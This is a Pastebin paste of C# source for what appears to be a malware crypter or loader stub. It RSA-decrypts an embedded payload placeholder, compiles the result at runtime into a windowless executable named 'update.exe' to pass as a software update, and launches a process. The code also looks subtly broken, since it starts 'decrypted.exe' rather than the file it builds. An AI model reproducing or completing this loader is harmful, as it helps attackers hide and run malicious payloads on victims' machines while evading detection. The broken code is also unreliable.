Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using Microsoft.CSharp;
- using System;
- using System.CodeDom.Compiler;
- using System.Diagnostics;
- using System.Security.Cryptography;
- using System.Text;
- namespace ConsoleApp4
- {
- class Program
- {
- static void Main(string[] args)
- {
- string decrypted = Decryption("ENCRYPTION");
- CSharpCodeProvider codeProvider = new CSharpCodeProvider();
- ICodeCompiler icc = codeProvider.CreateCompiler();
- System.CodeDom.Compiler.CompilerParameters parameters = new CompilerParameters();
- string[] ReferenceThings = new string[]
- {
- "Microsoft.CSharp.dll",
- "Microsoft.VisualBasic.dll",
- "System.dll",
- "System.Core.dll",
- "System.Data.dll",
- "System.Data.DataSetExtensions.dll",
- "System.Deployment.dll",
- "System.Net.Http.dll",
- "System.Windows.Forms.dll",
- "System.Xml.dll",
- "System.Xml.Linq.dll"
- };
- parameters.ReferencedAssemblies.AddRange(ReferenceThings);
- parameters.GenerateExecutable = true;
- parameters.OutputAssembly = "update.exe";
- parameters.CompilerOptions = "/optimize+ /platform:x86 /target:winexe /unsafe";
- CompilerResults results = icc.CompileAssemblyFromSource(parameters, decrypted);
- Process.Start("decrypted.exe");
- }
- public static string Decryption(string strText)
- {
- var privateKey = "<RSAKeyValue><Modulus>21wEnTU+mcD2w0Lfo1Gv4rtcSWsQJQTNa6gio05AOkV/Er9w3Y13Ddo5wGtjJ19402S71HUeN0vbKILLJdRSES5MHSdJPSVrOqdrll/vLXxDxWs/U0UT1c8u6k/Ogx9hTtZxYwoeYqdhDblof3E75d9n2F0Zvf6iTb4cI7j6fMs=</Modulus><Exponent>AQAB</Exponent><P>/aULPE6jd5IkwtWXmReyMUhmI/nfwfkQSyl7tsg2PKdpcxk4mpPZUdEQhHQLvE84w2DhTyYkPHCtq/mMKE3MHw==</P><Q>3WV46X9Arg2l9cxb67KVlNVXyCqc/w+LWt/tbhLJvV2xCF/0rWKPsBJ9MC6cquaqNPxWWEav8RAVbmmGrJt51Q==</Q><DP>8TuZFgBMpBoQcGUoS2goB4st6aVq1FcG0hVgHhUI0GMAfYFNPmbDV3cY2IBt8Oj/uYJYhyhlaj5YTqmGTYbATQ==</DP><DQ>FIoVbZQgrAUYIHWVEYi/187zFd7eMct/Yi7kGBImJStMATrluDAspGkStCWe4zwDDmdam1XzfKnBUzz3AYxrAQ==</DQ><InverseQ>QPU3Tmt8nznSgYZ+5jUo9E0SfjiTu435ihANiHqqjasaUNvOHKumqzuBZ8NRtkUhS6dsOEb8A2ODvy7KswUxyA==</InverseQ><D>cgoRoAUpSVfHMdYXW9nA3dfX75dIamZnwPtFHq80ttagbIe4ToYYCcyUz5NElhiNQSESgS5uCgNWqWXt5PnPu4XmCXx6utco1UVH8HGLahzbAnSy6Cj3iUIQ7Gj+9gQ7PkC434HTtHazmxVgIR5l56ZjoQ8yGNCPZnsdYEmhJWk=</D></RSAKeyValue>";
- var testData = Encoding.UTF8.GetBytes(strText);
- using (var rsa = new RSACryptoServiceProvider(1024))
- {
- try
- {
- var base64Encrypted = strText;
- // server decrypting data with private key
- rsa.FromXmlString(privateKey);
- var resultBytes = Convert.FromBase64String(base64Encrypted);
- var decryptedBytes = rsa.Decrypt(resultBytes, true);
- var decryptedData = Encoding.UTF8.GetString(decryptedBytes);
- return decryptedData.ToString();
- }
- finally
- {
- rsa.PersistKeyInCsp = false;
- }
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement